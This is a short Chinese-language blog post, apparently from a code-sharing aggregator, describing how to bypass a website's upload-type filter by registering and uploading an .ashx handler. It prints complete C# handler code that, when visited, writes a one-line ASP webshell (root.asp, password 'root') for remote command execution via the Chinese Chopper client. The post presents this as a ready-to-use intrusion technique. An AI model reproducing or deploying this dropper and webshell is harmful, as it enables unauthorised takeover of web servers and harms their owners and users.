1. 程式人生 > >另一種辦法突破上傳型別限制

另一種辦法突破上傳型別限制

發現後臺可以設定上傳型別,但是asp,asa,cer等等都不行,上傳之後就提示下載

嘗試著關閉了下了,還是不行,後來找到了一位前輩寫的文章

過濾了asa,cer,cdx,php,aspx等指令碼型別的上傳情況下新增一個ashx的上傳型別,上傳一個ashx指令碼上去,
指令碼內容如下:

然後訪問上傳後的ashx檔案,就會在同目錄下生成一個root.asp的一句話木馬,然後使用一句話木馬客戶端連線即可。利用方面就大家自由發揮了!


密碼為root,果斷菜刀連之

沒有最牛逼的方法,只有最愛思想的腦子


*****************

指令碼

ashx.txt


<%@ WebHandler Language="C#" class="Handler" %>

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();

}

public bool IsReusable {
get {
return false;
}
}

}